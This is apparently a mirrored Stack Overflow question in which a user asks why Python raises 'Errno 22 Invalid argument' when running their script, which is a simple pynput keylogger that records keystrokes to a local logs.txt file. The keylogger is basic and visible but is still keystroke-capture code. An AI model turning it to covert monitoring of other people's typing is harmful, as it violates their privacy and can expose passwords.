'Errno 22 Invalid argument error when executing python program
While trying to make a keylogger via python, I came across the following error
C:\Users\tahas\AppData\Local\Programs\Python\Python310\python.exe: can't open file 'c:\\Users\\tahas\\OneDrive\\Masaüstü\\AS\\keylogger.py':
[Errno 22] Invalid argument
from pynput.keyboard import Key, Listener
"""
key -> klavye tuşu (esc, space , enter.......)
listener -> klavyeyi dinleyen fonksiyon
"""
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{} tuşuna basıldı!".format(str(key)))
if count >10:
write_file(keys)
keys= []
count = 0
def write_file(keys):
with open("logs.txt", "a") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key"):
file.write(str(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
i don't know why i can't open the file can you help me
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|
